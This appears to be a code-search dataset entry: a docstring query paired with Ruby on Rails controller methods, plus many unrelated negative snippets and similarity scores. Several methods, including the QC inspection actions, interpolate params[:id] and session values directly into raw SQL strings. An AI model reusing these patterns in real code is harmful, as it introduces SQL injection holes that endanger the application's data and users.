"def check_for_cancel\n return unless params[:commit] == 'Cancel'\n\n if current_user.is_admin? || params.dig(:institute, :action) == 'new'\n redirect_to workspace_url\n else\n redirect_to manage_users_url\n end\n end",
"def not_in_competition\n\t\tif current_user.competition_id.present? && !current_user.admin?\n\t\t\tcompetition=Competition.find(current_user.competition_id)\n\t\t\tif competition.problems.include?(current_problem) && !competition.finished?\n\t\t\t\tflash[:danger]=\"You cannot see this problem while in competition!!!\"\n\t\t\t\tredirect_to competition_path(competition)\n\t\t\tend\n\t\tend\n\tend",
"def ready\n @investment = Investment.where(user_id: current_user.id).last\n end",
"def unassigned\n if current_user.admin?\n @unassigned_prospects = Client.unassigned_prospects.order('import_datetime DESC')\n if params[:search_city].present?\n @unassigned_prospects = @unassigned_prospects.where('lower(city) LIKE ?', \"%#{params[:search_city].downcase}%\").order(:name)\n elsif params[:search_state].present?\n @unassigned_prospects = @unassigned_prospects.where('lower(state) LIKE ?', \"%#{params[:search_state].downcase}%\").order(:name)\n elsif params[:search_name].present?\n @unassigned_prospects = @unassigned_prospects.where('lower(name) LIKE ?', \"%#{params[:search_name].downcase}%\").order(:name)\n elsif params[:search_phone].present?\n @unassigned_prospects = @unassigned_prospects.where('lower(phone) LIKE ?', \"%#{params[:search_phone].downcase}%\").order(:name)\n else\n @unassigned_prospects = @unassigned_prospects.order('import_datetime DESC')\n end\n else\n redirect_to prospects_assignedcurrentrsm_path\n end\n end",
"def show\n @quest = Quest.find(params[:id])\n quest_objectives = @quest.locations\n completed_objectives = []\n quest_objectives.each do |obj|\n if @current_user.locations.exists?(obj)\n completed_objectives << obj\n end\n end\n if completed_objectives.length == quest_objectives.length\n unless @quest.winner_id\n @quest.update(winner_id: @current_user.id)\n end\n redirect_to \"/quests/\" + @quest.id.to_s + \"/complete\" and return\n end\n\n if(@quest.owner_id == @current_user.id)\n redirect_to edit_quest_path(@quest)\n elsif @quest.start_date > DateTime.current\n flash[:warning] = \"Quest has not yet begun!\"\n redirect_to user_path(@current_user) and return\n elsif @quest.end_date < DateTime.current\n flash[:warning] = \"Quest has ended. Womp womp\"\n\n redirect_to \"/quests/\" + @quest.id.to_s + \"/complete\" and return\n elsif @quest.users.exists?(@current_user.id)\n gon.track = true\n locations = @quest.locations\n gon.remaining_locations = []\n gon.completed_locations = []\n locations.each do |loc|\n if loc.users.exists?(@current_user.id)\n gon.completed_locations << loc\n else\n gon.remaining_locations << loc\n end\n end\n @remaining_locations = gon.remaining_locations\n @completed_locations = gon.completed_locations\n else\n gon.track = false\n flash[:danger] = \"You are not a member of this quest! Please contact the quest owner for an invite.\"\n redirect_to quests_path and return\n end\n end",
"def forget\n search = current_user.searches.find(params[:id])\n\n if search.update(user_id: nil)\n flash[:notice] = t('blacklight.saved_searches.remove.success')\n else\n flash[:error] = t('blacklight.saved_searches.remove.failure')\n end\n\n redirect_back fallback_location: saved_searches_path\n end",
"def update_workflow_flash\n return unless flash[:notice].present? && presenter.workflow&.actions.present?\n\n flash[:notice] += \" <strong>Finished making edits? Be sure to mark the review form as complete.</strong>\"\n end",
"def log_current_inspection\n qc_current_inspection = get_current_inspection_record( session[:user_id].id, @qc_inspection_type_code )\n if qc_current_inspection.nil?\n ActiveRecord::Base.connection.execute(\"INSERT INTO qc_current_inspections (user_id, qc_inspection_type_code, qc_inspection_id)\n VALUES(#{session[:user_id].id}, '#{@qc_inspection_type_code}', #{@qc_inspection.id})\")\n else\n ActiveRecord::Base.connection.execute(ActiveRecord::Base.extend_update_sql_with_request(\"UPDATE qc_current_inspections SET qc_inspection_id = #{@qc_inspection.id}\n WHERE user_id = #{session[:user_id].id} AND qc_inspection_type_code = '#{@qc_inspection_type_code}' \"))\n end\n end",
"def show\n @unsolved = Unsolved.find(params[:id])\n\n respond_to do |format|\n format.html #{ redirect_to solveds_path, notice: 'Unsolved problem was successfully added.' }\n format.json { render json: @unsolved }\n end\n end",
"def unanswered_finding_notification\n conditions = { state: Finding::STATUS[:unanswered] }\n user = User.joins(:findings).merge(Finding.where(conditions)).take\n\n NotifierMailer.unanswered_finding_notification user, user.findings.find_by(conditions)\n end",
"def set_inspection\n @inspection = Inspection.find(params[:id])\n end",
"def set_inspection\n @inspection = Inspection.find(params[:id])\n end",
"def reject_suggestion\n @invite.set_handled_suggested_user!\n redirect_to :dashboard, notice: \"You have declined the invitation suggestion.\"\n end",
"def no_recent_plagiarism\n if @submission.user == current_user.sk\n s = current_user.sk.submissions.where(:problem => @problem, :status => :plagiarized).order(:last_comment_time).last\n if !s.nil? && s.last_comment_time.to_date + 6.months > Date.today\n redirect_to problem_path(@problem, :sub => @submission) and return\n end\n end\n end",
"def cancel(*)\n super.tap do\n __debug_sim('USER has decided to withdraw the submission.')\n end\n end",
"def index\n @investigationinjurylocations = Investigationinjurylocation.all\n end",
"def Abort\n Popup.ReallyAbort(GetModified())\n end",
"def previous_workshop\n course = self.chapter.course\n course.workshops.previous_than(self.place).where(:hidden => false).order(\"place desc\").first\n end",
"def index\n @unmatch_event = @current_shop.events.unmatch_event.first\n @keyword_autoreply_events = @current_shop.events.keyword_autoreply_events\n end",
"def destroy\n if current_user.is_not_staff?\n flash[:error] = \"You do not have permissions to access that feature.\"\n redirect_to root_path and return\n end\n \n @safety_inspection = SafetyInspection.find(params[:id])\n @safety_inspection.destroy\n\n respond_to do |format|\n format.html { redirect_to safety_inspections_url }\n format.json { head :ok }\n end\n end",
"def my_interviews\n @interviews = get_logged_employee.interviews.joins(:req_match).where(\"req_matches.status = ?\", \"SCHEDULED\")\n\t\trender \"resumes/interview_requests\"\n\tend",
"def index\n @has_help = true\n @page_title = \"Lista Ricerche\"\n @searches = Search.where(:user_id => current_user.id )\n if !current_user.ispro\n flash.now[:warning] = \"Attiva il piano MyAgencyCall! Pro! per creare altre ricerche!\"\n end\n end",
"def show\n @available_improvements = params[:available_improvements]\n end"
] |
[
"0.58005685",
"0.57101166",
"0.5669342",
"0.5625449",
"0.56117016",
"0.55610704",
"0.55534244",
"0.55344903",
"0.54867303",
"0.5368036",
"0.53369635",
"0.52909976",
"0.52007586",
"0.51814914",
"0.5140568",
"0.51107603",
"0.5102999",
"0.50937843",
"0.5089434",
"0.5072017",
"0.50547427",
"0.50471073",
"0.5040959",
"0.503657",
"0.50291413",
"0.5028116",
"0.5028116",
"0.50265634",
"0.50188315",
"0.5000523",
"0.49965206",
"0.4984034",
"0.49816257",
"0.4981532",
"0.4967965",
"0.49103725",
"0.49103725",
"0.49103725",
"0.49064958",
"0.4905281",
"0.49047664",
"0.48892036",
"0.4887404",
"0.4879267",
"0.486383",
"0.48598275",
"0.48583275",
"0.4853655",
"0.48489875",
"0.48487595",
"0.48481455",
"0.48481455",
"0.48481455",
"0.4843351",
"0.48411527",
"0.48404026",
"0.48347515",
"0.4819564",
"0.4817225",
"0.4813187",
"0.4812967",
"0.4810693",
"0.48088443",
"0.48028606",
"0.4797361",
"0.47906786",
"0.47846222",
"0.4783847",
"0.47827864",
"0.4775063",
"0.47740823",
"0.47740754",
"0.47710574",
"0.47668758",
"0.4765289",
"0.4763113",
"0.47604007",
"0.4760054",
"0.47585884",
"0.47570127",
"0.4751948",
"0.47435418",
"0.47431606",
"0.47306728",
"0.47295424",
"0.47284168",
"0.47283617",
"0.47257292",
"0.47257292",
"0.47256887",
"0.47253242",
"0.47163963",
"0.47148266",
"0.4713453",
"0.47091705",
"0.4708072",
"0.4705629",
"0.470378",
"0.470218",
"0.46985316"
] |
0.59401613
|
0
|
Convenience action to quickly get back to the business context the user was working on.
|
def current_qc_business_context_search
return if authorise_for_web(program_name(params[:id]),'create')== false
session[:qc_inspection_type_code] = params[:id]
qc_current_inspection = ActiveRecord::Base.connection.select_one("select * from qc_current_inspections
where user_id = #{session[:user_id].id}
and qc_inspection_type_code = '#{params[:id]}'")
if qc_current_inspection.nil? || qc_current_inspection.qc_business_context_query.nil?
redirect_to_index("'You have not yet captured an inspection for #{params[:id]}'", "''")
else
dm_session[:search_engine_query_definition] = qc_current_inspection.qc_business_context_query
session[:columns_list] = YAML.load(qc_current_inspection.columns_list)
submit_business_context_search
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def back\n\n workitem_id = params[:id]\n\n Densha::Locks.unlock_workitem(session[:user], workitem_id) if workitem_id\n\n session[:workitem] = nil\n\n return_to_previous_page\n end",
"def pop_from_active_context\n return @active_context.pop_context\n end",
"def pop_context\n context.pop\n end",
"def user_context\n YodleeApi.deep_copy(@user_context)\n end",
"def user_context\n YodleeApi.deep_copy(@user_context)\n end",
"def last_context; end",
"def context; { user: current_user } end",
"def context\n @context_stack.last\n end",
"def current\n Job.generate_work_order\n redirect_to '/'\n end",
"def pop\n context.pop\n end",
"def get_current_url\n remove_context_path(@current_url)\n end",
"def back_track()\n @ole.BackTrack()\n end",
"def pop_stored_location\n session.delete(:return_to)\n end",
"def pop_stored_location\n session.delete(:return_to)\n end",
"def back\n navigate.back\n end",
"def back\n navigate.back\n end",
"def back\n navigate.back\n end",
"def back\n fetch(\"_sahi.go_back()\")\n end",
"def deactivate!\n @context_mutex.synchronize do\n raise \"Context not activated\" unless @saved_context\n ret = @current_context\n @current_context = @saved_context\n @saved_context = nil\n ret # returns the pre-deactivated context.\n end\n end",
"def update_concerned_path\n @return_to = params[:return_to]\n end",
"def current_workplace\n if @workplace && current_admin\n @workplace.name\n else#fail safe\n end \n end",
"def back(entities)\n entities.back\n end",
"def return\n @book = Book.find(params[:book_id])\n @book.is_borrowed = false\n @book.user = nil\n @book.save\n redirect_to request.referrer, notice: \"You're being redirected\"\n end",
"def back\n @agent.history.pop\n end",
"def office_user\n redirect_to(office_page_url) if current_user.office?\n end",
"def peek\n context.last\n end",
"def get_context\n @branch = Branch.get(params[:branch_id])\n @staff_member = StaffMember.get(params[:staff_member_id])\n @center = Center.get(params[:center_id]) if params[:center_id]\n # raise NotFound unless @branch\n end",
"def context\n { current_user: current_user }\n end",
"def confirm_post_production_history\n @post_production_history = PostProductionHistory.find_by_id params[:post_production_history_id]\n # add some defensive programming.. current user has role admin, and current_user is indeed belongs to the company \n @post_production_history.confirm( current_user ) \n @object = @post_production_history\n @parent = @object.sales_item \n end",
"def active_user\n user = pending_user\n user.activate! if user.valid?\n user\n end",
"def business\n @business ||= @session.business\n end",
"def office_user\n redirect_to(office_page_url) if current_user.office?\n end",
"def pop_context\n if (context == TopContext)\n raise \"can't pop at top\"\n end\n cxt = @context_stack.pop\n write_html(\"</#{cxt.tag}>\\n\")\n end",
"def deactivate\n current_customer.deactivate_left_voluntarily\n redirect_to(action: :index)\n end",
"def deactivate\n current_customer.deactivate_left_voluntarily\n redirect_to(action: :index)\n end",
"def context\n nil\n end",
"def workout_program(user)\n return workout_summary(user) if user.started?\n start_workout(user)\n end",
"def parent_browsing_context; end",
"def current_user\n Employee.find(session[:employee_id])\n \n end",
"def revert\n remove_from_approved_tickets_count\n @application.update_attributes(status: 'pending')\n redirect_to admin_event_path(@application.event_id),\n flash: { info: \"#{ @application.name}'s application has been changed to pending\" }\n end",
"def context\n self.current_custom_context || self.default_context\n end",
"def suspend_context(context)\n @context, back_context = context, @context\n begin\n yield back_context\n ensure\n @context = back_context\n end\n end",
"def this_context\n self\n end",
"def user\r\n return for_context(nil, false) { |c| c.user }\r\n end",
"def fetch_go_to\n @go_to = GlobalConstant::GoTo.developer\n end",
"def get_user_to_act_on\n @user = session[:user]\n end",
"def get_user_to_act_on\n @user = session[:user]\n end",
"def show\n redirect_to @bussiness.user\n end",
"def mainContext\n # return Context.find( context )\n return context\n end",
"def last_context=(_arg0); end",
"def incoming_context\n return @incoming_context\n end",
"def current\n respond_with current_user\n end",
"def current\n redirect_to current_user\n end",
"def deactivate\n @user = User.find(params[:id])\n @user.deactivate\n redirect_to :back\n end",
"def user_cancel\n @order.cancel_by_user\n render 'user'\n end",
"def confirm_production_repair_result\n @production_repair_result = ProductionRepairResult.find_by_id params[:production_repair_result_id]\n # add some defensive programming.. current user has role admin, and current_user is indeed belongs to the company \n @production_repair_result.confirm( current_user ) \n @object = @production_repair_result\n @parent = @object.template_sales_item \n end",
"def switch_context!( zone, app, stage )\n session[:context] = \"#{zone}.#{app}.#{stage}\" \n Wackamole::Control.current_db( zone, app, stage, true )\n end",
"def confirm_pre_production_history\n @pre_production_history = PreProductionHistory.find_by_id params[:pre_production_history_id]\n # add some defensive programming.. current user has role admin, and current_user is indeed belongs to the company \n @pre_production_history.confirm( current_user ) \n @object = @pre_production_history\n @parent = @object.sales_item \n end",
"def go_to_where_you_belong\n \n end",
"def eventcodesignup_step2\n @user = current_user\nend",
"def edit\n @possible_Jobs = GeneralInfo.see_Jobs\n if GeneralInfo.exists?(:userKey => session[:current_user_key])\n @general_info = GeneralInfo.find_by(userKey: session[:current_user_key])\n else\n redirect_to :action => 'new'\n end\n end",
"def deactivate\n @this_user.update_attributes(:active => false)\n redirect_to :controller => 'user', :action => 'view', :display_name => params[:display_name]\n end",
"def lookup_context; end",
"def lookup_context; end",
"def lookup_context; end",
"def undo\n @workout.undo\n redirect_to workout_path(@workout),\n notice: t('.success')\n end",
"def admin_user_profile\n\n # Get the Current App\n @app = MailfunnelsUtil.get_app\n\n # If the User is not an admin redirect to error page\n if [email protected]_admin or @app.is_admin === 0\n redirect_to '/error_page'\n end\n\n # Get User from DB\n @user = User.find(params[:user_id])\n\n # Get Apps for that user\n @user_apps = App.where(user_id: @user.id)\n\n # Get Subs Remaining\n @subs_left = MailFunnelsUser.get_remaining_subs(@user.clientid)\n\n end",
"def fetch_context\n val = session.delete(:context)\n @context = val && val.to_sym\n true # TODO: remove in Rails 5.0\n end",
"def context\n @parent&.context\n end",
"def return_to_previous_page\n\n if params[:from_view]\n\n redirect_to(\n :controller => \"workitem\", :action => \"view\", :id => params[:id])\n\n else\n\n redirect_to :controller => \"stores\"\n end\n end",
"def edit\n @business= Business.find(params[:id])\n if current_user.businesses.include? @business \n render :edit\n else\n # if user tries to edit business that doesn't belong to them\n # log them out\n session[:user_id] = nil\n redirect_to login_path\n end\n end",
"def get_context\n @context_hash ||= {}\n end",
"def acting_user\n current_user\n end",
"def redirect_back_to_intent(user)\n redirect_to(session[:before_login] || user)\n session.delete(:before_login)\n end",
"def getContext\n \n query_processing_time_begin = Time.now\n # In web-ui query processing time is only shown if asked. In atom-feed, it is always shown.\n if params[\"query_processing_time\"] && params[\"query_processing_time\"].downcase == \"true\"\n @query_processing = true\n end\n if params[:qoption] && params[:qoption][\"query_processing_time\"] == \"true\"\n @query_processing = true\n end\n \n \n if params[:contexthash] != nil\n \n @context = Context.find_by_context_hash(params[:contexthash])\n \n else\n \n user = User.find_by_username(params[:username])\n if user == nil\n render :text => \"Owner of context not found!\", :status => 409\n return\n end\n \n ctxName = ContextName.find_by_user_id_and_name(user.id, params[:contextname])\n if ctxName == nil\n render :text => \"Contextname was not found for this user!\", :status => 404\n return\n end\n \n @context = Context.find_by_id(ctxName.context_id) \n end\n \n # If requested context wasn't found\n if @context == nil\n render :text => \"Context not found!\", :status => 404\n return\n end\n \n sql = \"SELECT users.* \n FROM context_group_permissions, groups, usersingroups, users \n WHERE context_group_permissions.context_id=#{@context.id} AND \n context_group_permissions.group_id = groups.id AND \n groups.id=usersingroups.group_id AND usersingroups.user_id=users.id;\"\n @members = User.find_by_sql(sql)\n \n @owner = User.find_by_id(@context.user_id)\n if @owner == nil\n render :text => \"Owner of the context could not be found\", :status => 409\n return\n end\n \n # User-object who is signed in, if not signed in it's nil\n @user = whoIsSignedIn \n \n # If user is not authorized to see context\n if not authorizedToContext(@context.context_hash)\n render :text => \"You don't have permission to see this context\", :status => 401\n return\n end\n\n ## Context is found and user is authorized to view it. We may proceed.\n \n \n @context_metadatas = ContextMetadata.find_by_sql(\"SELECT context_metadatas.context_id as id, \n context_metadatas.value as value, \n metadata_types.name as type_name,\n metadata_types.value_type as value_type\n FROM context_metadatas, metadata_types\n WHERE context_metadatas.metadata_type_id = metadata_types.id AND \n context_metadatas.context_id = #{@context.id}\") \n \n @context_named_by_user = @context.name\n \n @metadatatypes = MetadataType.find(:all, :order => \"name ASC\" )\n \n # Find if user that is signed in, has named the context\n if @user != nil\n tmp_ctx_name = ContextName.find_by_user_id_and_context_id(@user.id, @context.id)\n if tmp_ctx_name != nil\n # Signed in user has named the context\n @context_named_by_user = tmp_ctx_name.name\n end\n end\n \n \n \n if query_processing_time_begin != nil\n query_processing_time_end = Time.now\n @query_processing_time = query_processing_time_end - query_processing_time_begin\n puts \"Time used for processing query: #{@query_processing_time}\"\n end\n \n \n #Create atom feed\n @host = @@http_host\n respond_to do |format|\n if params[:format] == nil\n format.html {render :getcontext, :layout=>true }\n else\n format.html {render :getcontext, :layout=>true }\n format.atom {render :getcontext, :layout=>false }\n end\n end \n end",
"def current_user\n current_customer\n end",
"def confirm_post_production_result\n @post_production_result = PostProductionResult.find_by_id params[:post_production_result_id]\n # add some defensive programming.. current user has role admin, and current_user is indeed belongs to the company \n @post_production_result.confirm( current_user ) \n @object = @post_production_result\n @parent = @object.template_sales_item \n end",
"def index\n @workouts = current_user.workouts\n end",
"def correct_user\r\n @appointment = current_user.appointments.find_by_id(params[:id])\r\n redirect_to help_url if @appointment.nil?\r\n end",
"def back\n @driver.navigate.back\n @after_hooks.run\n end",
"def cancel\n # Context is already cleared in before_action\n end",
"def current_employee\n @current_employee ||= Employee.find_by(id: session[:user_id])\n end",
"def user_return_status\n rtb = @rtb = ResourceTransportationBooking.find(params[:id])\n user = User.find(rtb.requester_id)\n if (user.is_super_admin? || user.roles.first.name == \"Resource Manager\")\n rtb.update_attributes(:resource_returned_from_user=>true,:status=>\"Returned\")\n agency_store = AgencyStore.find(rtb.agency_store_id)\n agency_store.update_attribute(:booked,false)\n disable_the_sub_category_when_that_sub_category_is_fully_reserved(agency_store.sub_category_id)\n else\n rtb.update_attribute(:resource_returned_from_user,true)\n end\n render :layout => false\n end",
"def show\n session[:return_to] ||= request.referer\n end",
"def show\n authorize @client\n set_return_to\n @return_to = get_return_to_or_default clients_url\n end",
"def getUser\n current_company.user\n end",
"def action_B\n return if no_leave_B\n # Ensure we don't leave with a call_skill_process\n @call_skill_process = nil\n $game_system.se_play($data_system.cancel_se)\n # Cancel choice attempt\n return @choice_object.cancel if @choice_object\n # Returning to normal mode\n if @intern_mode != :normal\n @base_ui.hide_win_text\n hide_item_name\n @team_buttons[@move].selected = false if @move != -1\n @move = -1\n return @intern_mode = :normal\n end\n # Emptying $game_temp.temp_team if in select mode\n if @mode == :select\n $game_temp.temp_team = []\n end\n @running = false\n end",
"def view_worker\n @fresh_worker = MtCompanyWorker.find(params[:id]);\n @return_to = params[:ref];\n @return_to ||= \"worker_list\";\n security_breach( @return_to) if (@fresh_worker.mt_company != @mt_company )\n if ( request.post? )\n if ( params[:reason] == \"send_sms\" )\n begin\n SMS::deliver_sms(@fresh_worker.mobile, params[:sms_text]);\n add_confirmation \"SMS SENT\";\n rescue Exception=>e\n add_error e\n end\n end \n end\n end",
"def show\n # Remember where the user is so if they're not logged in here, we can bring them back after sign in.\n session[:return_to] = request.url\n end",
"def welcome_back\n @univ_choice = University.find(params[:univ_id])\n\n if request.post?\n\n begin \n params[:terms] = true # cust already accepted once!\n\n # find order\n #\n oo = Order.for_cust(@customer).for_univ(@univ_choice.id).last\n raise \"error - no #{@univ_choice.name} univ for customer #{@customer.email}!\" unless oo\n \n # set cc\n #\n card = CreditCard.secure_setup(params[\"credit_card\"], @customer)\n card_success = card.save\n raise \"problem w CC\" unless card_success\n \n # set addr\n #\n addr_success = private_addr_do\n raise \"problem w addr\" unless addr_success\n\n # test CC\n #\n charge_amount = 0.01\n success, msg = ChargeEngine.charge_credit_card(card, charge_amount, oo.id, \"test charge\") \n raise \"we tested your credit card and had a problem: #{msg}\" unless success\n \n # apply 1 month credit\n #\n @customer.add_account_credit(0, nil, 1) if @customer.credit_months <= 0\n\n # reenable univ\n #\n oo.reinstate\n\n session[:reinstated_univ_id] = oo.id\n return redirect_to :univstore_welcome_back_done, :flash => { :message => \"success!\" }\n\n rescue Exception => e\n\n return redirect_to :back, :flash => { :message => e.message }\n end\n end\n\n end",
"def show\n redirect_to :root unless @participation.state == \"paid\"\n end",
"def checkin\n if self.current_user == nil\n redirect_to \"/account/login\"\n end\n @workout = Workout.new\n @workout.workout_date = Time.now.to_date #.strftime(\"%x\")\n end",
"def discard_saved_state\n end",
"def backtrack\n @state = @backtrack_states.pop\n if @verbose\n puts \"log: backtrack to last valid state\"\n end\n end",
"def forem_user\n current_user\n end",
"def previous_workshop\n course = self.chapter.course\n course.workshops.previous_than(self.place).where(:hidden => false).order(\"place desc\").first\n end",
"def current_company\n @current_company = Company.find_by(id: session[:company_id])\n end",
"def show \n if current_user_pending?\n redirect_to edit_administrator_path(@administrator)\n end\n end",
"def working\n current_user.chef.toggle(:currently_working).save\n end",
"def switch_to\n task = current_user.tasks.find(params[:id]).switch_to\n\n respond_to do |format|\n if task.save\n format.html { redirect_to(tasks_url, :notice => 'Task was successfully switched back to again.') }\n format.xml { render :xml => task, :status => :created, :location => task }\n else\n format.html { redirect_to(tasks_url, :notice => 'Error! Please try again...') }\n format.xml { render :xml => task.errors, :status => :unprocessable_entity }\n end\n end\n end"
] |
[
"0.59980243",
"0.5871513",
"0.5519757",
"0.53709215",
"0.53709215",
"0.53185546",
"0.5302653",
"0.5211627",
"0.52046216",
"0.5171685",
"0.5158422",
"0.51412994",
"0.51047707",
"0.50979245",
"0.5080028",
"0.5080028",
"0.5080028",
"0.50797933",
"0.5074271",
"0.5067887",
"0.50557226",
"0.5019834",
"0.5004412",
"0.49983072",
"0.49857736",
"0.4958634",
"0.4957489",
"0.4949882",
"0.4939619",
"0.49317908",
"0.49284708",
"0.49231908",
"0.49086714",
"0.49061736",
"0.49061736",
"0.48974556",
"0.48941013",
"0.48939782",
"0.48828545",
"0.48647177",
"0.48572022",
"0.48526952",
"0.48478553",
"0.48464745",
"0.48453975",
"0.484493",
"0.484493",
"0.4830923",
"0.48296753",
"0.48171833",
"0.48150262",
"0.4814304",
"0.48059356",
"0.4781553",
"0.47793582",
"0.47764528",
"0.4774396",
"0.4765771",
"0.47638813",
"0.47596914",
"0.47588885",
"0.4758735",
"0.47580156",
"0.47580156",
"0.47580156",
"0.47563213",
"0.47553334",
"0.47517535",
"0.47430545",
"0.47424203",
"0.4741662",
"0.4738815",
"0.47383806",
"0.47334367",
"0.4727103",
"0.47263247",
"0.47216594",
"0.47180617",
"0.4714725",
"0.4713193",
"0.47127756",
"0.4712608",
"0.4708015",
"0.47043696",
"0.47043133",
"0.46998894",
"0.46982273",
"0.4694655",
"0.46934798",
"0.46877766",
"0.46817002",
"0.46788555",
"0.46770266",
"0.46738437",
"0.46731365",
"0.46705925",
"0.46668556",
"0.46663252",
"0.46654192",
"0.46654028"
] |
0.5161279
|
10
|
Convenience action to quickly get back to the list of tests of a certain type.
|
def current_qc_tests
return if authorise_for_web(program_name(params[:id]),'edit')== false
session[:qc_inspection_type_code] = params[:id]
qc_current_inspection = ActiveRecord::Base.connection.select_one("select * from qc_current_inspections
where user_id = #{session[:user_id].id}
and qc_inspection_type_code = '#{params[:id]}'")
if qc_current_inspection.nil? || qc_current_inspection.qc_business_context_query.nil?
redirect_to_index("'You have not yet listed tests for #{params[:id]}'", "''")
else
dm_session[:search_engine_query_definition] = qc_current_inspection.qc_tests_query
session[:columns_list] = YAML.load(qc_current_inspection.tests_columns_list)
submit_tests_search
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @type_tests = TypeTest.all\n end",
"def index\n @testtypes = Testtype.all\n end",
"def index\n @m_test_types = MTestType.all\n end",
"def list_tests(target,\n project,\n machine,\n pool,\n test_type = nil,\n test_status = nil,\n playlist = nil)\n handle_action_exceptions(__method__) do\n cmd_line = [\"listtests '#{target}' '#{project}' '#{machine}' '#{pool}'\"]\n cmd_line << 'json' if @json\n cmd_line << \"-#{test_type}\" unless test_type.nil?\n cmd_line << \"-#{test_status}\" unless test_status.nil?\n\n do_list_tests(cmd_line, playlist)\n end\n end",
"def index\n @tests = Test.all\n end",
"def index\n @tests = Test.all\n end",
"def index\n @tests = Test.all\n end",
"def index\n @tests = Test.all\n end",
"def index\n @tests = Test.all\n end",
"def index\n @tests = Test.all\n end",
"def index\n @tests = Test.all\n end",
"def index\n @tests = Test.all\n end",
"def index\n @tests = @subject.tests.all\n end",
"def index\n @testtests = Testtest.all\n end",
"def test_methods()\n tests = []\n stack = [@contexts.first]\n until stack.empty? do\n item = stack.pop\n stack += item.tests_and_subcontexts.reverse if item.is_a?(Context)\n tests << item if item.is_a?(String)\n end\n tests\n end",
"def index\n @what_tests = WhatTest.all\n end",
"def index\n @runtests = Runtest.all\n end",
"def get_test\n create_tests\n @queue.pop\n end",
"def tests(run_id)\n get(\"get_tests/#{run_id}\")\n end",
"def index\n @test_runs = TestRun.accessible_by(current_ability).order(\"updated_at DESC\").page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @test_runs }\n end\n end",
"def index\n @tests = TkdTest.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tests }\n end\n end",
"def index\n @test_instances = TestInstance.all\n end",
"def index\n render status: :ok, json: @tests\n end",
"def index\n @testsuites = Testsuite.all\n end",
"def index\n @user_tests = UserTest.all\n end",
"def index\n @runscope_tests = RunscopeTest.all\n end",
"def manager_list_by_type\n \n @sort_order = get_sort_order\n @sort_order[:type] = params[:order] == 'ASC' ? 'DESC' : 'ASC'\n flash[:sort_order] = @sort_order\n \n design_reviews = get_active_reviews\n @active_reviews = design_reviews[:active].sort_by { |dr| [dr[:review].review_type.sort_order, dr[:review].age] }\n @inactive_reviews = design_reviews[:inactive].sort_by { |dr| [dr[:review].review_type.sort_order, dr[:review].age] }\n @active_reviews.reverse! if params[:order] == 'DESC'\n @inactive_reviews.reverse! if params[:order] == 'DESC'\n \n @submissions = BoardDesignEntry.submission_count\n session[:return_to] = {:controller => 'tracker',\n :action => 'manager_list_by_type',\n :order => params[:order]}\n render( :action => 'manager_home' )\n\n end",
"def index\n @taste_testers = TasteTester.all\n end",
"def index\n @unit_action_types = UnitActionType.all\n end",
"def index\n @test_items = TestItem.all\n end",
"def index\n @test_results = TestResult.all\n end",
"def fetch_type name\n exercises = []\n data.exercises.each do |exe|\n if exe.target === name\n exercises.push(exe.name)\n end\n end\n exercises\n end",
"def index\n @application_tests = ApplicationTest.all\n end",
"def index\n @utests = index_search\n flash_on_empty @utests\n\n @multi_objs = [@project.unit_tests.new]\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @utests }\n format.rss # index.rss.builder\n end\n end",
"def browse_check(type, fixture) \n get type\n assert_response :not_found\n assert_template 'not_found'\n get type, {:id => -10} # we won't have an id that's negative\n assert_response :not_found\n assert_template 'not_found'\n get type, {:id => fixture.id}\n assert_response :success\n assert_template type\n end",
"def print_all(type)\n\n #Prints the names of all exercises in exercise_list\n if type == \"exercise\"\n\n #Stops if the exercise list is empty\n if @exercise_list.empty? == true\n puts \"Database Empty.\"\n return -1\n #Iterates over array and prints\n else\n for i in 0..@exercise_list.size-1 do\n puts @exercise_list[i].name\n end\n return 0\n end\n\n #Prints the name of all workouts in workout_routines\n elsif type == \"workout\"\n\n #Stops if the workout list is empty\n if @workout_routines.empty? == true\n puts \"Database Empty.\"\n return -1\n #Iterates over array and prints\n else\n for i in 0..@workout_routines.size-1 do\n puts @workout_routines[i].name\n end\n return 0\n end\n #Error handling\n else\n return -1\n end\n end",
"def get_actions(type=nil)\n res = []\n \n @actions.each do |a|\n if a.is_a?(type) or type.nil?\n res.push a\n end\n end\n \n return res\n end",
"def index\n @test_results = TestResult.all#.order('created_at DESC')\n end",
"def index\n @run_types = RunType.all.order_by_name\n @active_run_types = @run_types.active_run_types\n @removed_run_types = @run_types.removed_run_types\n end",
"def index\n @test_calls = TestCall.all\n end",
"def list_test_results(test, target, project, machine, pool)\n handle_action_exceptions(__method__) do\n cmd_line = [\n \"listtestresults '#{test}' '#{target}' '#{project}' '#{machine}' \"\\\n \"'#{pool}'\"\n ]\n cmd_line << 'json' if @json\n\n handle_return(@toolshck_ether.cmd(cmd_line.join(' ')))\n end\n end",
"def test_list\n list = []\n instance_methods.each do |m|\n next unless m.to_s =~ /^(ok|no)[_ ]/\n list << m\n end\n list\n end",
"def index\n @testurls = Testurl.all\n end",
"def index\n @run_types = RunType.all\n end",
"def test_test_type(test)\n test.type_name\n end",
"def index\n @test_details = TestDetail.all\n end",
"def index\n @test_stalls = TestStall.all\n end",
"def index\n @online_tests = OnlineTest.all\n end",
"def url_for_list(type); end",
"def index\n @test_example_results = TestExampleResult.all\n end",
"def external_test_runs_for(test_type)\n external_test_runs.where(:external_test_type_id => ExternalTestType.get(test_type))\n end",
"def listing\n tests = Test.where( user_id: test_params[:user_id] )\n all = TestSerializer.new.all_test(tests)\n return render json: all.as_json\n end",
"def index\n @testing_s = Testing.all\n end",
"def index\n @test_suite = TestSuite.find(params[:test_suite_id])\n @test_cases = @test_suite.test_cases\n end",
"def index\n @tests = Test.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tests }\n end\n end",
"def index\n @test_twos = TestTwo.all\n end",
"def index\n json = HTTParty.get(\"https://api.typeform.com/v1/form/WaIffL?key=f486f2db8f1249c077a08b582bc3efe0a2617668\").body\n\n @jsontests = JSON.parse(json)\n\n end",
"def index\n @choice_tests = ChoiceTest.all\n end",
"def passed_tests\n self.tests.select do |test|\n test.status == 'passed'\n end\n end",
